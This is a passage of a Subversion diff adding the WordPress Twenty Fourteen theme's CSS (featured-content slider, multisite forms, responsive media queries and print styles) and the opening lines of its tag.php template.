+	overflow: hidden;
+}
+
+.featured-content .post-thumbnail img {
+	left: 0;
+	position: absolute;
+	top: 0;
+}
+
+.featured-content .entry-header {
+	background-color: #000;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	min-height: 96px;
+	overflow: hidden;
+	padding: 24px 10px;
+}
+
+.featured-content a {
+	color: #fff;
+}
+
+.featured-content a:hover {
+	color: #41a62a;
+}
+
+.featured-content .entry-meta {
+	color: #fff;
+	font-size: 11px;
+	font-weight: 700;
+	line-height: 1.0909090909;
+	margin-bottom: 12px;
+}
+
+.featured-content .cat-links {
+	font-weight: 700;
+}
+
+.featured-content .entry-title {
+	font-size: 18px;
+	font-weight: 300;
+	line-height: 1.3333333333;
+	margin: 0;
+	text-transform: uppercase;
+}
+
+
+/* Slider */
+
+.slider .featured-content .hentry {
+	-webkit-backface-visibility: hidden;
+	display: none;
+	position: relative;
+}
+
+.slider .featured-content .post-thumbnail {
+	padding-top: 55.49132947%;
+}
+
+.slider-control-paging {
+	background-color: #000;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	float: left;
+	list-style: none;
+	margin: -24px 0 0 0;
+	position: relative;
+	width: 100%;
+	z-index: 3;
+}
+
+.slider-control-paging li {
+	float: left;
+	margin: 2px 4px 2px 0;
+}
+
+.slider-control-paging li:last-child {
+	margin-right: 0;
+}
+
+.slider-control-paging a {
+	cursor: pointer;
+	display: block;
+	height: 44px;
+	position: relative;
+	text-indent: -999em;
+	width: 44px;
+}
+
+.slider-control-paging a:before {
+	background-color: #4d4d4d;
+	content: "";
+	height: 12px;
+	left: 10px;
+	position: absolute;
+	top: 16px;
+	width: 12px;
+}
+
+.slider-control-paging a:hover:before {
+	background-color: #41a62a;
+}
+
+.slider-control-paging .slider-active:before,
+.slider-control-paging .slider-active:hover:before {
+	background-color: #24890d;
+}
+
+.slider-direction-nav {
+	clear: both;
+	list-style: none;
+	margin: 0;
+	position: relative;
+	width: 100%;
+	z-index: 3;
+}
+
+.slider-direction-nav li {
+	border-color: #fff;
+	border-style: solid;
+	border-width: 2px 1px 0 0;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	float: left;
+	text-align: center;
+	width: 50%;
+}
+
+.slider-direction-nav li:last-child {
+	border-width: 2px 0 0 1px;
+}
+
+.slider-direction-nav a {
+	background-color: #000;
+	display: block;
+	font-size: 0;
+	height: 46px;
+}
+
+.slider-direction-nav a:hover {
+	background-color: #24890d;
+}
+
+.slider-direction-nav a:before {
+	color: #fff;
+	content: "\f430";
+	font-size: 32px;
+	line-height: 46px;
+}
+
+.slider-direction-nav .slider-next:before {
+	content: "\f429";
+}
+
+.slider-direction-nav .slider-disabled {
+	display: none;
+}
+
+
+/**
+ * 10.0 Multisite
+ * -----------------------------------------------------------------------------
+ */
+
+.site-main .widecolumn {
+	padding-top: 72px;
+	width: auto;
+}
+.site-main .mu_register,
+.widecolumn > h2,
+.widecolumn > form {
+	margin: 0 auto 48px;
+	max-width: 474px;
+	padding: 0 30px;
+}
+
+.site-main .mu_register #blog_title,
+.site-main .mu_register #user_email,
+.site-main .mu_register #blogname,
+.site-main .mu_register #user_name {
+	font-size: inherit;
+	width: 90%;
+}
+
+.site-main .mu_register input[type="submit"],
+.widecolumn #submit {
+	font-size: inherit;
+	width: auto;
+}
+
+
+/**
+ * 11.0 Media Queries
+ * -----------------------------------------------------------------------------
+ */
+
+/* Does the same thing as <meta name="viewport" content="width=device-width">,
+ * but in the future W3C standard way. -ms- prefix is required for IE10+ to
+ * render responsive styling in Windows 8 "snapped" views; IE10+ does not honor
+ * the meta tag. See https://core.trac.wordpress.org/ticket/25888.
+ */
+@-ms-viewport {
+	width: device-width;
+}
+
+@viewport {
+	width: device-width;
+}
+
+@media screen and (max-width: 400px) {
+	.list-view .site-content .post-thumbnail {
+		background: none;
+		width: auto;
+		z-index: 2;
+	}
+
+	.list-view .site-content .post-thumbnail img {
+		float: left;
+		margin: 0 10px 3px 0;
+		width: 84px;
+	}
+
+	.list-view .site-content .entry-header {
+		background-color: transparent;
+		padding: 0;
+	}
+
+	.list-view .content-area {
+		padding: 0 10px;
+	}
+
+	.list-view .site-content .hentry {
+		border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+		margin: 0;
+		min-height: 60px;
+		padding: 12px 0 9px;
+	}
+
+	.list-view .site-content .cat-links,
+	.list-view .site-content .type-post .entry-content,
+	.list-view .site-content .type-page .entry-content,
+	.list-view .site-content .type-post .entry-summary,
+	.list-view .site-content .type-page .entry-summary,
+	.list-view .site-content footer.entry-meta {
+		display: none;
+	}
+
+	.list-view .site-content .entry-title {
+		clear: none;
+		font-size: 15px;
+		font-weight: 900;
+		line-height: 1.2;
+		margin-bottom: 6px;
+		text-transform: none;
+	}
+
+	.list-view .site-content .format-aside .entry-title,
+	.list-view .site-content .format-link .entry-title,
+	.list-view .site-content .format-quote .entry-title {
+		display: block;
+	}
+
+	.list-view .site-content .entry-meta {
+		background-color: transparent;
+		clear: none;
+		margin: 0;
+		text-transform: none;
+	}
+
+	.archive-header,
+	.page-header {
+		border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+		margin: 24px auto 0;
+		padding-bottom: 24px;
+	}
+
+	.error404 .page-header {
+		border-bottom: 0;
+		margin: 0 auto 24px;
+		padding: 0 10px;
+	}
+}
+
+@media screen and (min-width: 401px) {
+	a.post-thumbnail:hover img {
+		opacity: 0.85;
+	}
+
+	.full-size-link:before,
+	.parent-post-link:before,
+	.site-content span + .byline:before,
+	.site-content span + .comments-link:before,
+	.site-content span + .edit-link:before,
+	.site-content span + .entry-date:before {
+		content: "";
+	}
+
+	.attachment span.entry-date:before,
+	.entry-content .edit-link a:before,
+	.entry-meta .edit-link a:before,
+	.site-content .byline a:before,
+	.site-content .comments-link a:before,
+	.site-content .entry-date a:before,
+	.site-content .featured-post:before,
+	.site-content .full-size-link a:before,
+	.site-content .parent-post-link a:before,
+	.site-content .post-format a:before {
+		-webkit-font-smoothing: antialiased;
+		display: inline-block;
+		font: normal 16px/1 Genericons;
+		text-decoration: inherit;
+		vertical-align: text-bottom;
+	}
+
+	.site-content .entry-meta > span {
+		margin-right: 10px;
+	}
+
+	.site-content .format-video .post-format a:before {
+		content: "\f104";
+	}
+
+	.site-content .format-audio .post-format a:before {
+		content: "\f109";
+	}
+
+	.site-content .format-image .post-format a:before {
+		content: "\f473";
+	}
+
+	.site-content .format-quote .post-format a:before {
+		content: "\f106";
+		margin-right: 2px;
+	}
+
+	.site-content .format-gallery .post-format a:before {
+		content: "\f103";
+		margin-right: 4px;
+	}
+
+	.site-content .format-aside .post-format a:before {
+		content: "\f101";
+		margin-right: 2px;
+	}
+
+	.site-content .format-link .post-format a:before {
+		content: "\f107";
+		position: relative;
+		top: 1px;
+	}
+
+	.site-content .featured-post:before {
+		content: "\f308";
+		margin-right: 3px;
+		position: relative;
+		top: 1px;
+	}
+
+	.site-content .entry-date a:before,
+	.attachment .site-content span.entry-date:before {
+		content: "\f303";
+		margin-right: 1px;
+		position: relative;
+		top: 1px;
+	}
+
+	.site-content .byline a:before {
+		content: "\f304";
+	}
+
+	.site-content .comments-link a:before {
+		content: "\f300";
+		margin-right: 2px;
+	}
+
+	.entry-content .edit-link a:before,
+	.entry-meta .edit-link a:before {
+		content: "\f411";
+	}
+
+	.site-content .full-size-link a:before {
+		content: "\f402";
+		margin-right: 1px;
+	}
+
+	.site-content .parent-post-link a:before {
+		content: "\f301";
+	}
+
+	.list-view .site-content .hentry {
+		border-top: 1px solid rgba(0, 0, 0, 0.1);
+		padding-top: 48px;
+	}
+
+	.list-view .site-content .hentry:first-of-type,
+	.list-view .site-content .hentry.has-post-thumbnail {
+		border-top: 0;
+		padding-top: 0;
+	}
+
+	.archive-header,
+	.page-header {
+		margin: 0 auto 60px;
+		padding: 0 10px;
+	}
+
+	.error404 .page-header {
+		margin-bottom: 24px;
+	}
+}
+
+@media screen and (min-width: 594px) {
+	.site-content .entry-header {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+
+	.site-content .has-post-thumbnail .entry-header {
+		margin-top: -48px;
+	}
+}
+
+@media screen and (min-width: 673px) {
+	.header-main {
+		padding: 0 30px;
+	}
+
+	.search-toggle {
+		margin-right: 18px;
+	}
+
+	.search-box .search-field {
+		width: 50%;
+	}
+
+	.content-area {
+		float: left;
+		width: 100%;
+	}
+
+	.site-content {
+		margin-right: 33.33333333%;
+	}
+
+	.site-content .has-post-thumbnail .entry-header {
+		margin-top: 0;
+	}
+
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+
+	.singular .site-content .hentry.has-post-thumbnail {
+		margin-top: 0;
+	}
+
+	.full-width .site-content {
+		margin-right: 0;
+	}
+
+	.full-width .site-content .has-post-thumbnail .entry-header,
+	.full-width .site-content .hentry.has-post-thumbnail:first-child {
+		margin-top: -48px;
+	}
+
+	#secondary,
+	#supplementary {
+		padding: 0 30px;
+	}
+
+	.content-sidebar {
+		border: 0;
+		float: right;
+		margin-left: -33.33333333%;
+		padding: 48px 30px 24px;
+		position: relative;
+		width: 33.33333333%;
+	}
+
+	.grid .featured-content .hentry {
+		float: left;
+		width: 50%;
+	}
+
+	.grid .featured-content .hentry:nth-child( 2n+1 ) {
+		clear: both;
+	}
+
+	.grid .featured-content .entry-header {
+		border-color: #000;
+		border-style: solid;
+		border-width: 12px 10px;
+		height: 96px;
+		padding: 0;
+	}
+
+	.slider .featured-content .entry-title {
+		font-size: 22px;
+		line-height: 1.0909090909;
+	}
+
+	.slider .featured-content .entry-header {
+		min-height: inherit;
+		padding: 24px 30px 48px;
+		position: absolute;
+		left: 0;
+		bottom: 0;
+		width: 50%;
+		z-index: 3;
+	}
+
+	.slider-control-paging {
+		background: transparent;
+		margin-top: -48px;
+		padding-left: 20px;
+		width: 50%;
+	}
+
+	.slider-direction-nav {
+		clear: none;
+		float: right;
+		margin-top: -48px;
+		width: 98px;
+	}
+
+	.slider-direction-nav li {
+		border: 0;
+		padding: 0 1px 0 0;
+	}
+
+	.slider-direction-nav li:last-child {
+		padding: 0 0 0 1px;
+	}
+
+	.slider-direction-nav a {
+		height: 48px;
+	}
+
+	.slider-direction-nav a:before {
+		line-height: 48px;
+	}
+
+	.site-info {
+		padding: 15px 30px;
+	}
+}
+
+@media screen and (min-width: 783px) {
+	.site-title {
+		/* Search-toggle width = 48px */
+		max-width: -webkit-calc(100% - 48px);
+		max-width:         calc(100% - 48px);
+	}
+
+	.header-main {
+		padding-right: 0;
+	}
+
+	.search-toggle {
+		margin-right: 0;
+	}
+
+	/* Fixed Header */
+
+	.masthead-fixed .site-header {
+		position: fixed;
+		top: 0;
+	}
+
+	.admin-bar.masthead-fixed .site-header {
+		top: 32px;
+	}
+
+	.masthead-fixed .site-main {
+		margin-top: 48px;
+	}
+
+	/* Navigation */
+
+	.site-navigation li .current_page_item > a,
+	.site-navigation li .current_page_ancestor > a,
+	.site-navigation li .current-menu-item > a,
+	.site-navigation li .current-menu-ancestor > a {
+		color: #fff;
+	}
+
+	/* Primary Navigation */
+
+	.primary-navigation {
+		float: right;
+		font-size: 11px;
+		margin: 0 1px 0 -12px;
+		padding: 0;
+		text-transform: uppercase;
+	}
+
+	.primary-navigation .menu-toggle {
+		display: none;
+		padding: 0;
+	}
+
+	.primary-navigation .nav-menu {
+		border-bottom: 0;
+		display: block;
+	}
+
+	.primary-navigation.toggled-on {
+		border-bottom: 0;
+		margin: 0;
+		padding: 0;
+	}
+
+	.primary-navigation li {
+		border: 0;
+		display: inline-block;
+		height: 48px;
+		line-height: 48px;
+		position: relative;
+	}
+
+	.primary-navigation a {
+		display: inline-block;
+		padding: 0 12px;
+		white-space: nowrap;
+	}
+
+	.primary-navigation ul ul {
+		background-color: #24890d;
+		float: left;
+		margin: 0;
+		position: absolute;
+		top: 48px;
+		left: -999em;
+		z-index: 99999;
+	}
+
+	.primary-navigation li li {
+		border: 0;
+		display: block;
+		height: auto;
+		line-height: 1.0909090909;
+	}
+
+	.primary-navigation ul ul ul {
+		left: -999em;
+		top: 0;
+	}
+
+	.primary-navigation ul ul a {
+		padding: 18px 12px;
+		white-space: normal;
+		width: 176px;
+	}
+
+	.primary-navigation li:hover > a,
+	.primary-navigation li.focus > a {
+		background-color: #24890d;
+		color: #fff;
+	}
+
+	.primary-navigation ul ul a:hover,
+	.primary-navigation ul ul li.focus > a {
+		background-color: #41a62a;
+	}
+
+	.primary-navigation ul li:hover > ul,
+	.primary-navigation ul li.focus > ul {
+		left: auto;
+	}
+
+	.primary-navigation ul ul li:hover > ul,
+	.primary-navigation ul ul li.focus > ul {
+		left: 100%;
+	}
+
+	.primary-navigation .menu-item-has-children > a,
+	.primary-navigation .page_item_has_children > a {
+		padding-right: 26px;
+	}
+
+	.primary-navigation .menu-item-has-children > a:after,
+	.primary-navigation .page_item_has_children > a:after {
+		-webkit-font-smoothing: antialiased;
+		content: "\f502";
+		display: inline-block;
+		font: normal 8px/1 Genericons;
+		position: absolute;
+		right: 12px;
+		top: 22px;
+		vertical-align: text-bottom;
+	}
+
+	.primary-navigation li .menu-item-has-children > a,
+	.primary-navigation li .page_item_has_children > a {
+		padding-right: 20px;
+		width: 168px;
+	}
+
+	.primary-navigation .menu-item-has-children li.menu-item-has-children > a:after,
+	.primary-navigation .menu-item-has-children li.page_item_has_children > a:after,
+	.primary-navigation .page_item_has_children li.menu-item-has-children > a:after,
+	.primary-navigation .page_item_has_children li.page_item_has_children > a:after {
+		content: "\f501";
+		right: 8px;
+		top: 20px;
+	}
+}
+
+@media screen and (min-width: 810px) {
+	.attachment .entry-attachment .attachment {
+		margin-right: -168px;
+		margin-left: -168px;
+		max-width: 810px;
+	}
+
+	.attachment .site-content .attachment img {
+		display: block;
+		margin: 0 auto;
+	}
+
+	.contributor-avatar {
+		margin-left: -168px;
+	}
+
+	.contributor-summary {
+		float: left;
+	}
+
+	.full-width .site-content blockquote.alignleft,
+	.full-width .site-content blockquote.alignright {
+		width: -webkit-calc(50% + 130px);
+		width:         calc(50% + 130px);
+	}
+
+	.full-width .site-content blockquote.alignleft,
+	.full-width .site-content img.size-full.alignleft,
+	.full-width .site-content img.size-large.alignleft,
+	.full-width .site-content img.size-medium.alignleft,
+	.full-width .site-content .wp-caption.alignleft {
+		margin-left: -168px;
+	}
+
+	.full-width .site-content .alignleft {
+		clear: left;
+	}
+
+	.full-width .site-content blockquote.alignright,
+	.full-width .site-content img.size-full.alignright,
+	.full-width .site-content img.size-large.alignright,
+	.full-width .site-content img.size-medium.alignright,
+	.full-width .site-content .wp-caption.alignright {
+		margin-right: -168px;
+	}
+
+	.full-width .site-content .alignright {
+		clear: right;
+	}
+}
+
+@media screen and (min-width: 846px) {
+	.content-area,
+	.content-sidebar {
+		padding-top: 72px;
+	}
+
+	.site-content .has-post-thumbnail .entry-header {
+		margin-top: -48px;
+	}
+
+	.comment-list .trackback,
+	.comment-list .pingback,
+	.comment-list article {
+		margin-bottom: 36px;
+		padding-top: 36px;
+	}
+
+	.comment-author .avatar {
+		height: 34px;
+		top: 2px;
+		width: 34px;
+	}
+
+	.comment-author,
+	.comment-awaiting-moderation,
+	.comment-content,
+	.comment-list .reply,
+	.comment-metadata {
+		padding-left: 50px;
+	}
+
+	.comment-list .children {
+		margin-left: 20px;
+	}
+
+	.full-width .site-content .hentry.has-post-thumbnail:first-child {
+		margin-top: -72px;
+	}
+
+	.featured-content {
+		margin-bottom: 0;
+	}
+}
+
+@media screen and (min-width: 1008px) {
+	.search-box-wrapper {
+		padding-left: 182px;
+	}
+
+	.main-content {
+		float: left;
+	}
+
+	.site-content {
+		margin-right: 29.04761904%;
+		margin-left: 182px;
+	}
+
+	.site-content .entry-header {
+		margin-top: 0;
+	}
+
+	.site-content .has-post-thumbnail .entry-header {
+		margin-top: 0;
+	}
+
+	.content-sidebar {
+		margin-left: -29.04761904%;
+		width: 29.04761904%;
+	}
+
+	.site:before {
+		background-color: #000;
+		content: "";
+		display: block;
+		height: 100%;
+		min-height: 100%;
+		position: absolute;
+		top: 0;
+		left: 0;
+		width: 182px;
+		z-index: 2;
+	}
+
+	#secondary {
+		background-color: transparent;
+		border: 0;
+		clear: none;
+		float: left;
+		margin: 0 0 0 -100%;
+		min-height: 100vh;
+		width: 122px;
+	}
+
+	.primary-sidebar {
+		padding-top: 0;
+	}
+
+	.site-description {
+		display: block;
+		margin: 0 0 18px;
+	}
+
+	.site-description:empty {
+		margin: 0;
+	}
+
+	.secondary-navigation {
+		font-size: 11px;
+		margin: 0 -30px 48px;
+		width: 182px;
+	}
+
+	.secondary-navigation li {
+		border-top: 1px solid rgba(255, 255, 255, 0.2);
+		position: relative;
+	}
+
+	.secondary-navigation a {
+		padding: 10px 30px;
+	}
+
+	.secondary-navigation ul ul {
+		background-color: #24890d;
+		position: absolute;
+		top: 0;
+		left: -999em;
+		width: 182px;
+		z-index: 99999;
+	}
+
+	.secondary-navigation li li {
+		border-top: 0;
+	}
+
+	.secondary-navigation li:hover > a,
+	.secondary-navigation li.focus > a {
+		background-color: #24890d;
+		color: #fff;
+	}
+
+	.secondary-navigation ul ul a:hover,
+	.secondary-navigation ul ul li.focus > a {
+		background-color: #41a62a;
+	}
+
+	.secondary-navigation ul li:hover > ul,
+	.secondary-navigation ul li.focus > ul {
+		left: 162px;
+	}
+
+	.secondary-navigation .menu-item-has-children > a {
+		padding-right: 38px;
+	}
+
+	.secondary-navigation .menu-item-has-children > a:after {
+		-webkit-font-smoothing: antialiased;
+		content: "\f501";
+		display: inline-block;
+		font: normal 8px/1 Genericons;
+		position: absolute;
+		right: 26px;
+		top: 14px;
+		vertical-align: text-bottom;
+	}
+
+	.footer-sidebar .widget,
+	.primary-sidebar .widget {
+		font-size: 12px;
+		line-height: 1.5;
+	}
+
+	.footer-sidebar .widget {
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing:    border-box;
+		box-sizing:         border-box;
+		float: left;
+		padding: 0 30px;
+		width: 25%;
+	}
+
+	.footer-sidebar .widget h1,
+	.primary-sidebar .widget h1 {
+		font-size: 20px;
+		line-height: 1.2;
+	}
+
+	.footer-sidebar .widget h2,
+	.primary-sidebar .widget h2 {
+		font-size: 18px;
+		line-height: 1.3333333333;
+	}
+
+	.footer-sidebar .widget h3,
+	.primary-sidebar .widget h3 {
+		font-size: 16px;
+		line-height: 1.5;
+	}
+
+	.footer-sidebar .widget h4,
+	.primary-sidebar .widget h4 {
+		font-size: 14px;
+		line-height: 1.7142857142;
+	}
+
+	.footer-sidebar .widget h5,
+	.primary-sidebar .widget h5 {
+		font-size: 12px;
+		line-height: 2;
+	}
+
+	.footer-sidebar .widget h6,
+	.primary-sidebar .widget h6 {
+		font-size: 11px;
+		line-height: 2.1818181818;
+	}
+
+	.footer-sidebar .widget code,
+	.footer-sidebar .widget kbd,
+	.footer-sidebar .widget tt,
+	.footer-sidebar .widget var,
+	.footer-sidebar .widget samp,
+	.footer-sidebar .widget pre,
+	.primary-sidebar .widget code,
+	.primary-sidebar .widget kbd,
+	.primary-sidebar .widget tt,
+	.primary-sidebar .widget var,
+	.primary-sidebar .widget samp,
+	.primary-sidebar .widget pre {
+		font-size: 11px;
+		line-height: 1.6363636363;
+	}
+
+	.footer-sidebar .widget blockquote,
+	.primary-sidebar .widget blockquote {
+		font-size: 14px;
+		line-height: 1.2857142857;
+	}
+
+	.footer-sidebar .widget blockquote cite,
+	.primary-sidebar .widget blockquote cite {
+		font-size: 12px;
+		line-height: 1.5;
+	}
+
+	.footer-sidebar .widget input,
+	.footer-sidebar .widget textarea,
+	.primary-sidebar .widget input,
+	.primary-sidebar .widget textarea {
+		font-size: 12px;
+		padding: 3px 2px 4px 4px;
+	}
+
+	.footer-sidebar .widget input[type="button"],
+	.footer-sidebar .widget input[type="reset"],
+	.footer-sidebar .widget input[type="submit"],
+	.primary-sidebar .widget input[type="button"],
+	.primary-sidebar .widget input[type="reset"],
+	.primary-sidebar .widget input[type="submit"] {
+		padding: 5px 15px 4px;
+	}
+
+	.footer-sidebar .widget .widget-title,
+	.primary-sidebar .widget .widget-title {
+		font-size: 11px;
+		font-weight: 900;
+		line-height: 1.6363636363;
+		margin-bottom: 18px;
+	}
+
+	.footer-sidebar .widget_twentyfourteen_ephemera .entry-title,
+	.footer-sidebar .widget_twentyfourteen_ephemera .entry-meta,
+	.footer-sidebar .widget_twentyfourteen_ephemera .wp-caption-text,
+	.footer-sidebar .widget_twentyfourteen_ephemera .post-format-archive-link,
+	.footer-sidebar .widget_twentyfourteen_ephemera .entry-content table,
+	.primary-sidebar .widget_twentyfourteen_ephemera .entry-title,
+	.primary-sidebar .widget_twentyfourteen_ephemera .entry-meta,
+	.primary-sidebar .widget_twentyfourteen_ephemera .wp-caption-text,
+	.primary-sidebar .widget_twentyfourteen_ephemera .post-format-archive-link,
+	.primary-sidebar .widget_twentyfourteen_ephemera .entry-content table {
+		font-size: 11px;
+		line-height: 1.6363636363;
+	}
+
+	.footer-sidebar .widget_archive li,
+	.footer-sidebar .widget_categories li,
+	.footer-sidebar .widget_links li,
+	.footer-sidebar .widget_meta li,
+	.footer-sidebar .widget_nav_menu li,
+	.footer-sidebar .widget_pages li,
+	.footer-sidebar .widget_recent_comments li,
+	.footer-sidebar .widget_recent_entries li,
+	.primary-sidebar .widget_archive li,
+	.primary-sidebar .widget_categories li,
+	.primary-sidebar .widget_links li,
+	.primary-sidebar .widget_meta li,
+	.primary-sidebar .widget_nav_menu li,
+	.primary-sidebar .widget_pages li,
+	.primary-sidebar .widget_recent_comments li,
+	.primary-sidebar .widget_recent_entries li {
+		border-top: 0;
+		padding: 0 0 6px;
+	}
+
+	.footer-sidebar .widget_archive li:last-child,
+	.footer-sidebar .widget_categories li:last-child,
+	.footer-sidebar .widget_links li:last-child,
+	.footer-sidebar .widget_meta li:last-child,
+	.footer-sidebar .widget_nav_menu li:last-child,
+	.footer-sidebar .widget_pages li:last-child,
+	.footer-sidebar .widget_recent_comments li:last-child,
+	.footer-sidebar .widget_recent_entries li:last-child,
+	.primary-sidebar .widget_archive li:last-child,
+	.primary-sidebar .widget_categories li:last-child,
+	.primary-sidebar .widget_links li:last-child,
+	.primary-sidebar .widget_meta li:last-child,
+	.primary-sidebar .widget_nav_menu li:last-child,
+	.primary-sidebar .widget_pages li:last-child,
+	.primary-sidebar .widget_recent_comments li:last-child,
+	.primary-sidebar .widget_recent_entries li:last-child {
+		padding: 0;
+	}
+
+	.footer-sidebar .widget_categories li ul,
+	.footer-sidebar .widget_nav_menu li ul,
+	.footer-sidebar .widget_pages li ul,
+	.primary-sidebar .widget_categories li ul,
+	.primary-sidebar .widget_nav_menu li ul,
+	.primary-sidebar .widget_pages li ul {
+		border-top: 0;
+		margin-top: 6px;
+	}
+
+	#supplementary {
+		padding: 0;
+	}
+
+	.footer-sidebar {
+		font-size: 12px;
+		line-height: 1.5;
+	}
+
+	.featured-content {
+		padding-left: 182px;
+	}
+
+	.grid .featured-content .hentry {
+		width: 33.3333333%;
+	}
+
+	.grid .featured-content .hentry:nth-child( 2n+1 ) {
+		clear: none;
+	}
+
+	.grid .featured-content .hentry:nth-child( 3n+1 ) {
+		clear: both;
+	}
+
+	.grid .featured-content .entry-header {
+		height: 120px;
+	}
+}
+
+@media screen and (min-width: 1040px) {
+	.site-content .has-post-thumbnail .entry-header {
+		margin-top: -48px;
+	}
+
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		padding-right: 15px;
+		padding-left: 15px;
+	}
+
+	.full-width .archive-header,
+	.full-width .comments-area,
+	.full-width .image-navigation,
+	.full-width .page-header,
+	.full-width .page-content,
+	.full-width .post-navigation,
+	.full-width .site-content .entry-header,
+	.full-width .site-content .entry-content,
+	.full-width .site-content .entry-summary,
+	.full-width .site-content footer.entry-meta {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+}
+
+@media screen and (min-width: 1080px) {
+	.search-box .search-field {
+		width: 324px;
+	}
+
+	.site-content,
+	.site-main .widecolumn {
+		margin-left: 222px;
+	}
+
+	.site:before {
+		width: 222px;
+	}
+
+	.search-box-wrapper,
+	.featured-content {
+		padding-left: 222px;
+	}
+
+	#secondary {
+		width: 162px;
+	}
+
+	.secondary-navigation,
+	.secondary-navigation ul ul {
+		width: 222px;
+	}
+
+	.secondary-navigation ul li:hover > ul,
+	.secondary-navigation ul li.focus > ul {
+		left: 202px;
+	}
+
+	.slider .featured-content .entry-title {
+		font-size: 33px;
+	}
+
+	.slider .featured-content .entry-header,
+	.slider-control-paging {
+		width: 534px;
+	}
+
+	.slider-control-paging {
+		padding-left: 24px;
+	}
+
+	.slider-control-paging li {
+		margin: 12px 12px 12px 0;
+	}
+
+	.slider-control-paging a {
+		height: 24px;
+		width: 24px;
+	}
+
+	.slider-control-paging a:before {
+		top: 6px;
+		left: 6px;
+	}
+}
+
+@media screen and (min-width: 1110px) {
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+}
+
+@media screen and (min-width: 1218px) {
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		margin-right: 54px;
+	}
+
+	.full-width .archive-header,
+	.full-width .comments-area,
+	.full-width .image-navigation,
+	.full-width .page-header,
+	.full-width .page-content,
+	.full-width .post-navigation,
+	.full-width .site-content .entry-header,
+	.full-width .site-content .entry-content,
+	.full-width .site-content .entry-summary,
+	.full-width .site-content footer.entry-meta {
+		margin-right: auto;
+	}
+}
+
+@media screen and (min-width: 1260px) {
+	.site-content blockquote.alignleft,
+	.site-content blockquote.alignright {
+		width: -webkit-calc(50% + 18px);
+		width:         calc(50% + 18px);
+	}
+
+	.site-content blockquote.alignleft {
+		margin-left: -18%;
+	}
+
+	.site-content blockquote.alignright {
+		margin-right: -18%;
+	}
+}
+
+
+/**
+ * 12.0 Print
+ * -----------------------------------------------------------------------------
+ */
+
+@media print {
+	body {
+		background: none !important; /* Brute force since user agents all print differently. */
+		color: #2b2b2b;
+		font-size: 12pt;
+	}
+
+	.site,
+	.site-header,
+	.hentry,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content .entry-meta,
+	.page-content,
+	.archive-header,
+	.page-header,
+	.contributor-info,
+	.comments-area,
+	.attachment .entry-attachment .attachment {
+		max-width: 100%;
+	}
+
+	#site-header img,
+	.search-toggle,
+	.site-navigation,
+	.site-content nav,
+	.edit-link,
+	.page-links,
+	.widget-area,
+	.more-link,
+	.post-format-archive-link,
+	.comment-respond,
+	.comment-list .reply,
+	.comment-reply-login,
+	#secondary,
+	.site-footer,
+	.slider-control-paging,
+	.slider-direction-nav {
+		display: none;
+	}
+
+	.site-title a,
+	.entry-meta,
+	.entry-meta a,
+	.featured-content .hentry,
+	.featured-content a {
+		color: #2b2b2b;
+	}
+
+	.entry-content a,
+	.entry-summary a,
+	.page-content a,
+	.comment-content a {
+		text-decoration: none;
+	}
+
+	.site-header,
+	.post-thumbnail,
+	a.post-thumbnail:hover,
+	.site-content .entry-header,
+	.site-footer,
+	.featured-content,
+	.featured-content .entry-header {
+		background: transparent;
+	}
+
+	.header-main {
+		padding: 48px 10px;
+	}
+
+	.site-title {
+		float: none;
+		font-size: 19pt;
+	}
+
+	.content-area {
+		padding-top: 0;
+	}
+
+	.list-view .site-content .hentry {
+		border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+		margin-bottom: 48px;
+		padding-bottom: 24px;
+	}
+
+	.post-thumbnail img {
+		margin: 0 10px 24px;
+	}
+
+	.site-content .has-post-thumbnail .entry-header {
+		padding-top: 0;
+	}
+
+	.site-content footer.entry-meta {
+		margin: 24px auto;
+	}
+
+	.entry-meta .tag-links a {
+		color: #fff;
+	}
+
+	.singular .site-content .hentry.has-post-thumbnail {
+		margin-top: 0;
+	}
+
+	.gallery-columns-1.gallery-size-medium,
+	.gallery-columns-1.gallery-size-thumbnail,
+	.gallery-columns-2.gallery-size-thumbnail,
+	.gallery-columns-3.gallery-size-thumbnail {
+		display: block;
+	}
+
+	.archive-title,
+	.page-title {
+		margin: 0 10px 48px;
+	}
+
+	.featured-content .hentry {
+		margin-bottom: 48px;
+	}
+
+	.featured-content .post-thumbnail,
+	.slider .featured-content .post-thumbnail {
+		padding-top: 0;
+	}
+
+	.featured-content .post-thumbnail img {
+		position: relative;
+	}
+
+	.featured-content .entry-header {
+		padding: 0 10px 24px;
+	}
+
+	.featured-content .entry-meta {
+		font-size: 9pt;
+		margin-bottom: 11px;
+	}
+
+	.featured-content .cat-links {
+		font-weight: 900;
+	}
+
+	.featured-content .entry-title {
+		font-size: 25pt;
+		line-height: 36px;
+	}
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/tag.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/tag.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/tag.php	(revision 33402)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * The template for displaying Tag pages
